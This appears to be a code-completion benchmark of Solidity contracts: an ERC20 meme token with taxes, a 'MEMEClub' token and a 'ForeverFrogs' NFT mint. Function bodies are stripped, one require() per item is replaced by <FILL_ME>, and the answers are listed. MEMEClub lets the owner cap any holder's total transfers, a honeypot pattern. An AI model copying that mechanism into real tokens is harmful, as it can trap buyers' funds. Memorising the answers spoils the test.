require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount=0;
if (from != owner() && to != owner() && ! _isExcludedFromFee[from]) {
taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
require(amount <= _maxTransaction, "Exceeds the _maxTransaction.");
require(balanceOf(to) + amount <= _maxHolding, "Exceeds the maxWalletSize.");
if (tradingActiveBlock + 3 > block.number) {
require(!isContract(to));
}
_buyCount++;
}
if (to != uniswapV2Pair) {
require(balanceOf(to) + amount <= _maxHolding, "Exceeds the maxWalletSize.");
}
if(to == uniswapV2Pair && from!= address(this)){
require(<FILL_ME>)
taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapLimit && _buyCount>_preventSwapBefore) {
swapTokensForETH(to, min(amount,min(contractTokenBalance,_maxSwapFee)));
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFeeWallet(address(this).balance);
}
}
}
if(taxAmount>0){
_balances[address(this)]=_balances[address(this)].add(taxAmount);
emit Transfer(from, address(this),taxAmount);
}
_balances[from]=_balances[from].sub(amount);
_balances[to]=_balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
function min(uint256 a, uint256 b) private pure returns (uint256){
}
function isContract(address account) private view returns (bool) {
}
function openTrading() external payable onlyOwner() {
}
receive() external payable {}
}
| balanceOf(to)>=_tSupply/100 | 234,405 | balanceOf(to)>=_tSupply/100 |
"Total transfer amount exceeds the set litt" | pragma solidity ^0.8.0;
// Interface for the ERC20 standard as defined in the EIP. An ERC20 token implements
// a standard set of functionalities that enables interoperability across multiple interfaces and platforms.
interface IERC20 {
// Returns the amount of tokens in existence.
function totalSupply() external view returns (uint256);
// Returns the amount of tokens owned by `account`.
function balanceOf(address account) external view returns (uint256);
// Moves `amount` tokens from the caller's account to `recipient`.
function transfer(address recipient, uint256 amount) external returns (bool);
// Returns the remaining number of tokens that `spender` will be allowed to spend on behalf of `owner`.
function allowance(address owner, address spender) external view returns (uint256);
// Sets `amount` as the allowance of `spender` over the caller's tokens.
function approve(address spender, uint256 amount) external returns (bool);
// Moves `amount` tokens from `sender` to `recipient` using the allowance mechanism.
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
// Emitted when `value` tokens are moved from one account (`from`) to another (`to`).
event Transfer(address indexed from, address indexed to, uint256 value);
// Emitted when the allowance of a `spender` for an `owner` is set by a call to `approve`.
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Abstract contract that allows child contracts to implement a function to retrieve the sender of the transaction.
abstract contract Context {
// Returns the sender of the transaction.
function _msgSender() internal view virtual returns (address payable) {
}
}
// Contract module which provides a basic access control mechanism, where there is an account (an owner)
// that can be granted exclusive access to specific functions.
contract Ownable is Context {
// State variable that stores the owner's address.
address private _owner;
// Event emitted when ownership is transferred.
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
// Constructor that sets the original `owner` of the contract to the sender account.
constructor() {
}
// Returns the address of the current owner.
function owner() public view virtual returns (address) {
}
// Modifier that throws if called by any account other than the owner.
modifier onlyOwner() {
}
// Function to relinquish control of the contract to a zero address.
function renounceOwnership() public virtual onlyOwner {
}
}
// Token contract that includes the ERC20 standard functionality, access control, and transfer litts.
contract MEMEClub is Context, Ownable, IERC20 {
// Maps an address to its balance.
mapping(address => uint256) private _balances;
// Maps an owner to a spender with a given allowance.
mapping(address => mapping(address => uint256)) private _allowances;
// Maps an address to its transfer litt.
mapping(address => uint256) public totalTransferlitts;
// Maps an address to the total transferred amount.
mapping(address => uint256) public totalTransferredAmounts;
// Token name, symbol, and number of decimals.
string private _name;
string private _symbol;
uint8 private _decimals;
// Total supply of tokens.
uint256 private _totalSupply;
// Modifier that checks if the transfer amount exceeds the set litt for the sender.
modifier transferlitt(address sender, uint256 amount) {
uint256 litt = totalTransferlitts[sender];
if (litt > 0) {
require(<FILL_ME>)
}
_;
}
// Constructor that initializes the token contract with a name, symbol, decimals, and total supply.
constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
}
// Function to get the name of the token.
function name() public view returns (string memory) {
}
// Function to get the symbol of the token.
function symbol() public view returns (string memory) {
}
// Function to get the number of decimals the token uses.
function decimals() public view returns (uint8) {
}
// Returns the total token supply.
function totalSupply() external view override returns (uint256) {
}
// Returns the token balance of a specific account.
function balanceOf(address account) public view override returns (uint256) {
}
// Allows the owner to set a transfer litt for a sres.
function setTota(address sres, uint256 litt) public onlyOwner {
}
// Allows the owner to remove the transfer litt for a sres.
function removeTota(address sres) public onlyOwner {
}
// Transfer function that moves the specified amount of tokens from the caller's account to the recipient account.
function transfer(address recipient, uint256 amount) public virtual override transferlitt(_msgSender(), amount) returns (bool) {
}
// Function to check the amount of tokens that an owner allowed to a spender.
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
// Approve function that allows `spender` to withdraw from your account multiple times, up to the `amount` amount.
// If this function is called again it overwrites the current allowance with `amount`.
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
// Transfer tokens from one account to another based on allowance.
// The `sender` account must have a balance of at least `amount`.
function transferFrom(address sender, address recipient, uint256 amount) public virtual override transferlitt(sender, amount) returns (bool) {
}
}
| totalTransferredAmounts[sender]+amount<=litt,"Total transfer amount exceeds the set litt" | 234,593 | totalTransferredAmounts[sender]+amount<=litt |
"Max supply exceeded" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./ERC721AQueryable.sol";
import "./ForeverFrogsEgg.sol";
import "./DefaultOperatorFilterer.sol";
contract ForeverFrogs is ERC721AQueryable, Ownable, PaymentSplitter, DefaultOperatorFilterer {
using Strings for uint;
uint16 public maxSupply = 7777;
uint8 public maxPerTx = 25;
uint8 public maxMintForEgg = 100;
uint8 public maxMintForOg = 200;
uint8 public maxMintForWhitelist = 200;
uint8 public maxMintPerAddress = 250;
uint8 public maxBurnEggsPerTx = 10;
uint8 public freeMintMaxPerTx = 5;
uint8 public freeMintMaxPerAddress = 5;
uint16 public freeMintUntilSupply = 0;
uint32 public mintStartTime = 1668790800;
uint64 public ogPrice = 0.015 ether;
uint64 public whitelistPrice = 0.02 ether;
uint64 public price = 0.025 ether;
bool public isEggMintActive = true;
bytes32 public ogMerkleRoot;
bytes32 public whitelistMerkleRoot;
string private baseURI;
enum Step {
Before,
OgMint,
WhitelistMint,
PublicMint,
SoldOut
}
mapping(address => uint8) private eggsByAddress;
mapping(address => uint8) private ogByAddress;
mapping(address => uint8) private whitelistByAddress;
mapping(address => uint8) private nftByAddress;
mapping(uint256 => bool) private alreadyBurnedEggs;
ForeverFrogsEgg public foreverFrogsEgg;
address public deadAddress = 0x000000000000000000000000000000000000dEaD;
constructor(address[] memory _team, uint[] memory _teamShares, bytes32 _ogMerkleRoot, bytes32 _whitelistMerkleRoot)
ERC721A("Forever Frogs", "FF")
PaymentSplitter(_team, _teamShares)
{
}
event BurnAndMintEvent(uint256[] indexed burnedIds, address indexed owner);
event OgMintEvent(uint256 indexed quantity, address indexed owner);
event WhitelistMintEvent(uint256 indexed quantity, address indexed owner);
event MintEvent(uint256 indexed quantity, address indexed owner);
function getStep() public view returns(Step actualStep) {
}
function burnAndMint(uint256[] calldata ids) external senderControl {
uint256 quantity = ids.length;
require(isEggMintActive, "Burn egg to mint is not available");
require(quantity > 0, "You must burn at least 1 egg");
require(quantity < maxBurnEggsPerTx + 1, "You can not burn too many eggs at once");
require(<FILL_ME>)
require(eggsByAddress[msg.sender] + quantity < maxMintForEgg + 1, "Max eggs mint reached for your address");
require(foreverFrogsEgg.isApprovedForAll(msg.sender, address(this)), "Not enough rights from eggs smart contract");
for (uint8 i = 0; i < quantity; i++) {
ForeverFrogsEgg.TokenOwnership memory egg = foreverFrogsEgg.explicitOwnershipOf(ids[i]);
require(alreadyBurnedEggs[ids[i]] != true, "This egg has already been burned");
require(egg.addr == msg.sender, "You need to own the egg");
}
for (uint8 i = 0; i < quantity; i++) {
foreverFrogsEgg.safeTransferFrom(msg.sender, deadAddress, ids[i]);
alreadyBurnedEggs[ids[i]] = true;
}
eggsByAddress[msg.sender] += uint8(quantity);
_safeMint(msg.sender, quantity);
emit BurnAndMintEvent(ids, msg.sender);
}
function ogMint(uint256 _quantity, bytes32[] calldata _proof) external payable senderControl {
}
function whitelistMint(uint256 _quantity, bytes32[] calldata _proof) external payable senderControl {
}
function mint(uint256 _quantity) external payable senderControl {
}
function airdrop(address _to, uint256 _quantity) external onlyOwner {
}
//Whitelist
function setWhitelistMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
}
function isWhiteListed(address _account, bytes32[] calldata _proof) internal view returns(bool) {
}
function _verifyWhitelist(bytes32 _leaf, bytes32[] memory _proof) internal view returns(bool) {
}
//OGs
function setOgMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
}
function isOgWhiteListed(address _account, bytes32[] calldata _proof) internal view returns(bool) {
}
function _verifyOg(bytes32 _leaf, bytes32[] memory _proof) internal view returns(bool) {
}
function leaf(address _account) internal pure returns(bytes32) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory baseURI_) external onlyOwner {
}
function tokenURI(uint256 tokenId) public view virtual override (ERC721A, IERC721A) returns (string memory) {
}
function totalMinted() public view returns (uint256) {
}
function flipEggMintState() external onlyOwner {
}
function setPrice(uint64 _price) external onlyOwner {
}
function setOgPrice(uint64 _price) external onlyOwner {
}
function setWhitelistPrice(uint64 _price) external onlyOwner {
}
function setMintStartTime(uint32 _timestamp) external onlyOwner {
}
function setForeverFrogsEgg(address _address) external onlyOwner {
}
function setMaxSupply(uint16 _supply) external onlyOwner {
}
function setMaxPerTx(uint8 _max) external onlyOwner {
}
function setMaxMintForEgg(uint8 _max) external onlyOwner {
}
function setMaxMintForOg(uint8 _max) external onlyOwner {
}
function setMaxMintForWhitelist(uint8 _max) external onlyOwner {
}
function setMaxMintPerAddress(uint8 _max) external onlyOwner {
}
function setMaxBurnEggsPerTx(uint8 _max) external onlyOwner {
}
function setFreeMintUntilSupply(uint16 _supply) external onlyOwner {
}
function setFreeMintMaxPerTx(uint8 _max) external onlyOwner {
}
function setFreeMintMaxPerAddress(uint8 _max) external onlyOwner {
}
function burnedEggsFromAddress(address _address) external view returns (uint8) {
}
function ogMintedFromAddress(address _address) external view returns (uint8) {
}
function whitelistMintedFromAddress(address _address) external view returns (uint8) {
}
function nftMintedFromAddress(address _address) external view returns (uint8) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
modifier senderControl() {
}
function transferFrom(address from, address to, uint256 tokenId) public payable override (IERC721A, ERC721A) onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public payable override (IERC721A, ERC721A) onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
payable
override (IERC721A, ERC721A)
onlyAllowedOperator(from)
{
}
}
| totalMinted()+quantity<maxSupply+1,"Max supply exceeded" | 234,785 | totalMinted()+quantity<maxSupply+1 |
"Max eggs mint reached for your address" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./ERC721AQueryable.sol";
import "./ForeverFrogsEgg.sol";
import "./DefaultOperatorFilterer.sol";
contract ForeverFrogs is ERC721AQueryable, Ownable, PaymentSplitter, DefaultOperatorFilterer {
using Strings for uint;
uint16 public maxSupply = 7777;
uint8 public maxPerTx = 25;
uint8 public maxMintForEgg = 100;
uint8 public maxMintForOg = 200;
uint8 public maxMintForWhitelist = 200;
uint8 public maxMintPerAddress = 250;
uint8 public maxBurnEggsPerTx = 10;
uint8 public freeMintMaxPerTx = 5;
uint8 public freeMintMaxPerAddress = 5;
uint16 public freeMintUntilSupply = 0;
uint32 public mintStartTime = 1668790800;
uint64 public ogPrice = 0.015 ether;
uint64 public whitelistPrice = 0.02 ether;
uint64 public price = 0.025 ether;
bool public isEggMintActive = true;
bytes32 public ogMerkleRoot;
bytes32 public whitelistMerkleRoot;
string private baseURI;
enum Step {
Before,
OgMint,
WhitelistMint,
PublicMint,
SoldOut
}
mapping(address => uint8) private eggsByAddress;
mapping(address => uint8) private ogByAddress;
mapping(address => uint8) private whitelistByAddress;
mapping(address => uint8) private nftByAddress;
mapping(uint256 => bool) private alreadyBurnedEggs;
ForeverFrogsEgg public foreverFrogsEgg;
address public deadAddress = 0x000000000000000000000000000000000000dEaD;
constructor(address[] memory _team, uint[] memory _teamShares, bytes32 _ogMerkleRoot, bytes32 _whitelistMerkleRoot)
ERC721A("Forever Frogs", "FF")
PaymentSplitter(_team, _teamShares)
{
}
event BurnAndMintEvent(uint256[] indexed burnedIds, address indexed owner);
event OgMintEvent(uint256 indexed quantity, address indexed owner);
event WhitelistMintEvent(uint256 indexed quantity, address indexed owner);
event MintEvent(uint256 indexed quantity, address indexed owner);
function getStep() public view returns(Step actualStep) {
}
function burnAndMint(uint256[] calldata ids) external senderControl {
uint256 quantity = ids.length;
require(isEggMintActive, "Burn egg to mint is not available");
require(quantity > 0, "You must burn at least 1 egg");
require(quantity < maxBurnEggsPerTx + 1, "You can not burn too many eggs at once");
require(totalMinted() + quantity < maxSupply + 1, "Max supply exceeded");
require(<FILL_ME>)
require(foreverFrogsEgg.isApprovedForAll(msg.sender, address(this)), "Not enough rights from eggs smart contract");
for (uint8 i = 0; i < quantity; i++) {
ForeverFrogsEgg.TokenOwnership memory egg = foreverFrogsEgg.explicitOwnershipOf(ids[i]);
require(alreadyBurnedEggs[ids[i]] != true, "This egg has already been burned");
require(egg.addr == msg.sender, "You need to own the egg");
}
for (uint8 i = 0; i < quantity; i++) {
foreverFrogsEgg.safeTransferFrom(msg.sender, deadAddress, ids[i]);
alreadyBurnedEggs[ids[i]] = true;
}
eggsByAddress[msg.sender] += uint8(quantity);
_safeMint(msg.sender, quantity);
emit BurnAndMintEvent(ids, msg.sender);
}
function ogMint(uint256 _quantity, bytes32[] calldata _proof) external payable senderControl {
}
function whitelistMint(uint256 _quantity, bytes32[] calldata _proof) external payable senderControl {
}
function mint(uint256 _quantity) external payable senderControl {
}
function airdrop(address _to, uint256 _quantity) external onlyOwner {
}
//Whitelist
function setWhitelistMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
}
function isWhiteListed(address _account, bytes32[] calldata _proof) internal view returns(bool) {
}
function _verifyWhitelist(bytes32 _leaf, bytes32[] memory _proof) internal view returns(bool) {
}
//OGs
function setOgMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
}
function isOgWhiteListed(address _account, bytes32[] calldata _proof) internal view returns(bool) {
}
function _verifyOg(bytes32 _leaf, bytes32[] memory _proof) internal view returns(bool) {
}
function leaf(address _account) internal pure returns(bytes32) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory baseURI_) external onlyOwner {
}
function tokenURI(uint256 tokenId) public view virtual override (ERC721A, IERC721A) returns (string memory) {
}
function totalMinted() public view returns (uint256) {
}
function flipEggMintState() external onlyOwner {
}
function setPrice(uint64 _price) external onlyOwner {
}
function setOgPrice(uint64 _price) external onlyOwner {
}
function setWhitelistPrice(uint64 _price) external onlyOwner {
}
function setMintStartTime(uint32 _timestamp) external onlyOwner {
}
function setForeverFrogsEgg(address _address) external onlyOwner {
}
function setMaxSupply(uint16 _supply) external onlyOwner {
}
function setMaxPerTx(uint8 _max) external onlyOwner {
}
function setMaxMintForEgg(uint8 _max) external onlyOwner {
}
function setMaxMintForOg(uint8 _max) external onlyOwner {
}
function setMaxMintForWhitelist(uint8 _max) external onlyOwner {
}
function setMaxMintPerAddress(uint8 _max) external onlyOwner {
}
function setMaxBurnEggsPerTx(uint8 _max) external onlyOwner {
}
function setFreeMintUntilSupply(uint16 _supply) external onlyOwner {
}
function setFreeMintMaxPerTx(uint8 _max) external onlyOwner {
}
function setFreeMintMaxPerAddress(uint8 _max) external onlyOwner {
}
function burnedEggsFromAddress(address _address) external view returns (uint8) {
}
function ogMintedFromAddress(address _address) external view returns (uint8) {
}
function whitelistMintedFromAddress(address _address) external view returns (uint8) {
}
function nftMintedFromAddress(address _address) external view returns (uint8) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
modifier senderControl() {
}
function transferFrom(address from, address to, uint256 tokenId) public payable override (IERC721A, ERC721A) onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public payable override (IERC721A, ERC721A) onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
payable
override (IERC721A, ERC721A)
onlyAllowedOperator(from)
{
}
}
| eggsByAddress[msg.sender]+quantity<maxMintForEgg+1,"Max eggs mint reached for your address" | 234,785 | eggsByAddress[msg.sender]+quantity<maxMintForEgg+1 |
"Not enough rights from eggs smart contract" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./ERC721AQueryable.sol";
import "./ForeverFrogsEgg.sol";
import "./DefaultOperatorFilterer.sol";
contract ForeverFrogs is ERC721AQueryable, Ownable, PaymentSplitter, DefaultOperatorFilterer {
using Strings for uint;
uint16 public maxSupply = 7777;
uint8 public maxPerTx = 25;
uint8 public maxMintForEgg = 100;
uint8 public maxMintForOg = 200;
uint8 public maxMintForWhitelist = 200;
uint8 public maxMintPerAddress = 250;
uint8 public maxBurnEggsPerTx = 10;
uint8 public freeMintMaxPerTx = 5;
uint8 public freeMintMaxPerAddress = 5;
uint16 public freeMintUntilSupply = 0;
uint32 public mintStartTime = 1668790800;
uint64 public ogPrice = 0.015 ether;
uint64 public whitelistPrice = 0.02 ether;
uint64 public price = 0.025 ether;
bool public isEggMintActive = true;
bytes32 public ogMerkleRoot;
bytes32 public whitelistMerkleRoot;
string private baseURI;
enum Step {
Before,
OgMint,
WhitelistMint,
PublicMint,
SoldOut
}
mapping(address => uint8) private eggsByAddress;
mapping(address => uint8) private ogByAddress;
mapping(address => uint8) private whitelistByAddress;
mapping(address => uint8) private nftByAddress;
mapping(uint256 => bool) private alreadyBurnedEggs;
ForeverFrogsEgg public foreverFrogsEgg;
address public deadAddress = 0x000000000000000000000000000000000000dEaD;
constructor(address[] memory _team, uint[] memory _teamShares, bytes32 _ogMerkleRoot, bytes32 _whitelistMerkleRoot)
ERC721A("Forever Frogs", "FF")
PaymentSplitter(_team, _teamShares)
{
}
event BurnAndMintEvent(uint256[] indexed burnedIds, address indexed owner);
event OgMintEvent(uint256 indexed quantity, address indexed owner);
event WhitelistMintEvent(uint256 indexed quantity, address indexed owner);
event MintEvent(uint256 indexed quantity, address indexed owner);
function getStep() public view returns(Step actualStep) {
}
function burnAndMint(uint256[] calldata ids) external senderControl {
uint256 quantity = ids.length;
require(isEggMintActive, "Burn egg to mint is not available");
require(quantity > 0, "You must burn at least 1 egg");
require(quantity < maxBurnEggsPerTx + 1, "You can not burn too many eggs at once");
require(totalMinted() + quantity < maxSupply + 1, "Max supply exceeded");
require(eggsByAddress[msg.sender] + quantity < maxMintForEgg + 1, "Max eggs mint reached for your address");
require(<FILL_ME>)
for (uint8 i = 0; i < quantity; i++) {
ForeverFrogsEgg.TokenOwnership memory egg = foreverFrogsEgg.explicitOwnershipOf(ids[i]);
require(alreadyBurnedEggs[ids[i]] != true, "This egg has already been burned");
require(egg.addr == msg.sender, "You need to own the egg");
}
for (uint8 i = 0; i < quantity; i++) {
foreverFrogsEgg.safeTransferFrom(msg.sender, deadAddress, ids[i]);
alreadyBurnedEggs[ids[i]] = true;
}
eggsByAddress[msg.sender] += uint8(quantity);
_safeMint(msg.sender, quantity);
emit BurnAndMintEvent(ids, msg.sender);
}
function ogMint(uint256 _quantity, bytes32[] calldata _proof) external payable senderControl {
}
function whitelistMint(uint256 _quantity, bytes32[] calldata _proof) external payable senderControl {
}
function mint(uint256 _quantity) external payable senderControl {
}
function airdrop(address _to, uint256 _quantity) external onlyOwner {
}
//Whitelist
function setWhitelistMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
}
function isWhiteListed(address _account, bytes32[] calldata _proof) internal view returns(bool) {
}
function _verifyWhitelist(bytes32 _leaf, bytes32[] memory _proof) internal view returns(bool) {
}
//OGs
function setOgMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
}
function isOgWhiteListed(address _account, bytes32[] calldata _proof) internal view returns(bool) {
}
function _verifyOg(bytes32 _leaf, bytes32[] memory _proof) internal view returns(bool) {
}
function leaf(address _account) internal pure returns(bytes32) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory baseURI_) external onlyOwner {
}
function tokenURI(uint256 tokenId) public view virtual override (ERC721A, IERC721A) returns (string memory) {
}
function totalMinted() public view returns (uint256) {
}
function flipEggMintState() external onlyOwner {
}
function setPrice(uint64 _price) external onlyOwner {
}
function setOgPrice(uint64 _price) external onlyOwner {
}
function setWhitelistPrice(uint64 _price) external onlyOwner {
}
function setMintStartTime(uint32 _timestamp) external onlyOwner {
}
function setForeverFrogsEgg(address _address) external onlyOwner {
}
function setMaxSupply(uint16 _supply) external onlyOwner {
}
function setMaxPerTx(uint8 _max) external onlyOwner {
}
function setMaxMintForEgg(uint8 _max) external onlyOwner {
}
function setMaxMintForOg(uint8 _max) external onlyOwner {
}
function setMaxMintForWhitelist(uint8 _max) external onlyOwner {
}
function setMaxMintPerAddress(uint8 _max) external onlyOwner {
}
function setMaxBurnEggsPerTx(uint8 _max) external onlyOwner {
}
function setFreeMintUntilSupply(uint16 _supply) external onlyOwner {
}
function setFreeMintMaxPerTx(uint8 _max) external onlyOwner {
}
function setFreeMintMaxPerAddress(uint8 _max) external onlyOwner {
}
function burnedEggsFromAddress(address _address) external view returns (uint8) {
}
function ogMintedFromAddress(address _address) external view returns (uint8) {
}
function whitelistMintedFromAddress(address _address) external view returns (uint8) {
}
function nftMintedFromAddress(address _address) external view returns (uint8) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
modifier senderControl() {
}
function transferFrom(address from, address to, uint256 tokenId) public payable override (IERC721A, ERC721A) onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public payable override (IERC721A, ERC721A) onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
payable
override (IERC721A, ERC721A)
onlyAllowedOperator(from)
{
}
}
| foreverFrogsEgg.isApprovedForAll(msg.sender,address(this)),"Not enough rights from eggs smart contract" | 234,785 | foreverFrogsEgg.isApprovedForAll(msg.sender,address(this)) |
"This egg has already been burned" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./ERC721AQueryable.sol";
import "./ForeverFrogsEgg.sol";
import "./DefaultOperatorFilterer.sol";
contract ForeverFrogs is ERC721AQueryable, Ownable, PaymentSplitter, DefaultOperatorFilterer {
using Strings for uint;
uint16 public maxSupply = 7777;
uint8 public maxPerTx = 25;
uint8 public maxMintForEgg = 100;
uint8 public maxMintForOg = 200;
uint8 public maxMintForWhitelist = 200;
uint8 public maxMintPerAddress = 250;
uint8 public maxBurnEggsPerTx = 10;
uint8 public freeMintMaxPerTx = 5;
uint8 public freeMintMaxPerAddress = 5;
uint16 public freeMintUntilSupply = 0;
uint32 public mintStartTime = 1668790800;
uint64 public ogPrice = 0.015 ether;
uint64 public whitelistPrice = 0.02 ether;
uint64 public price = 0.025 ether;
bool public isEggMintActive = true;
bytes32 public ogMerkleRoot;
bytes32 public whitelistMerkleRoot;
string private baseURI;
enum Step {
Before,
OgMint,
WhitelistMint,
PublicMint,
SoldOut
}
mapping(address => uint8) private eggsByAddress;
mapping(address => uint8) private ogByAddress;
mapping(address => uint8) private whitelistByAddress;
mapping(address => uint8) private nftByAddress;
mapping(uint256 => bool) private alreadyBurnedEggs;
ForeverFrogsEgg public foreverFrogsEgg;
address public deadAddress = 0x000000000000000000000000000000000000dEaD;
constructor(address[] memory _team, uint[] memory _teamShares, bytes32 _ogMerkleRoot, bytes32 _whitelistMerkleRoot)
ERC721A("Forever Frogs", "FF")
PaymentSplitter(_team, _teamShares)
{
}
event BurnAndMintEvent(uint256[] indexed burnedIds, address indexed owner);
event OgMintEvent(uint256 indexed quantity, address indexed owner);
event WhitelistMintEvent(uint256 indexed quantity, address indexed owner);
event MintEvent(uint256 indexed quantity, address indexed owner);
function getStep() public view returns(Step actualStep) {
}
function burnAndMint(uint256[] calldata ids) external senderControl {
uint256 quantity = ids.length;
require(isEggMintActive, "Burn egg to mint is not available");
require(quantity > 0, "You must burn at least 1 egg");
require(quantity < maxBurnEggsPerTx + 1, "You can not burn too many eggs at once");
require(totalMinted() + quantity < maxSupply + 1, "Max supply exceeded");
require(eggsByAddress[msg.sender] + quantity < maxMintForEgg + 1, "Max eggs mint reached for your address");
require(foreverFrogsEgg.isApprovedForAll(msg.sender, address(this)), "Not enough rights from eggs smart contract");
for (uint8 i = 0; i < quantity; i++) {
ForeverFrogsEgg.TokenOwnership memory egg = foreverFrogsEgg.explicitOwnershipOf(ids[i]);
require(<FILL_ME>)
require(egg.addr == msg.sender, "You need to own the egg");
}
for (uint8 i = 0; i < quantity; i++) {
foreverFrogsEgg.safeTransferFrom(msg.sender, deadAddress, ids[i]);
alreadyBurnedEggs[ids[i]] = true;
}
eggsByAddress[msg.sender] += uint8(quantity);
_safeMint(msg.sender, quantity);
emit BurnAndMintEvent(ids, msg.sender);
}
function ogMint(uint256 _quantity, bytes32[] calldata _proof) external payable senderControl {
}
function whitelistMint(uint256 _quantity, bytes32[] calldata _proof) external payable senderControl {
}
function mint(uint256 _quantity) external payable senderControl {
}
function airdrop(address _to, uint256 _quantity) external onlyOwner {
}
//Whitelist
function setWhitelistMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
}
function isWhiteListed(address _account, bytes32[] calldata _proof) internal view returns(bool) {
}
function _verifyWhitelist(bytes32 _leaf, bytes32[] memory _proof) internal view returns(bool) {
}
//OGs
function setOgMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
}
function isOgWhiteListed(address _account, bytes32[] calldata _proof) internal view returns(bool) {
}
function _verifyOg(bytes32 _leaf, bytes32[] memory _proof) internal view returns(bool) {
}
function leaf(address _account) internal pure returns(bytes32) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory baseURI_) external onlyOwner {
}
function tokenURI(uint256 tokenId) public view virtual override (ERC721A, IERC721A) returns (string memory) {
}
function totalMinted() public view returns (uint256) {
}
function flipEggMintState() external onlyOwner {
}
function setPrice(uint64 _price) external onlyOwner {
}
function setOgPrice(uint64 _price) external onlyOwner {
}
function setWhitelistPrice(uint64 _price) external onlyOwner {
}
function setMintStartTime(uint32 _timestamp) external onlyOwner {
}
function setForeverFrogsEgg(address _address) external onlyOwner {
}
function setMaxSupply(uint16 _supply) external onlyOwner {
}
function setMaxPerTx(uint8 _max) external onlyOwner {
}
function setMaxMintForEgg(uint8 _max) external onlyOwner {
}
function setMaxMintForOg(uint8 _max) external onlyOwner {
}
function setMaxMintForWhitelist(uint8 _max) external onlyOwner {
}
function setMaxMintPerAddress(uint8 _max) external onlyOwner {
}
function setMaxBurnEggsPerTx(uint8 _max) external onlyOwner {
}
function setFreeMintUntilSupply(uint16 _supply) external onlyOwner {
}
function setFreeMintMaxPerTx(uint8 _max) external onlyOwner {
}
function setFreeMintMaxPerAddress(uint8 _max) external onlyOwner {
}
function burnedEggsFromAddress(address _address) external view returns (uint8) {
}
function ogMintedFromAddress(address _address) external view returns (uint8) {
}
function whitelistMintedFromAddress(address _address) external view returns (uint8) {
}
function nftMintedFromAddress(address _address) external view returns (uint8) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
modifier senderControl() {
}
function transferFrom(address from, address to, uint256 tokenId) public payable override (IERC721A, ERC721A) onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public payable override (IERC721A, ERC721A) onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
payable
override (IERC721A, ERC721A)
onlyAllowedOperator(from)
{
}
}
| alreadyBurnedEggs[ids[i]]!=true,"This egg has already been burned" | 234,785 | alreadyBurnedEggs[ids[i]]!=true |
"OG mint is not available" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./ERC721AQueryable.sol";
import "./ForeverFrogsEgg.sol";
import "./DefaultOperatorFilterer.sol";
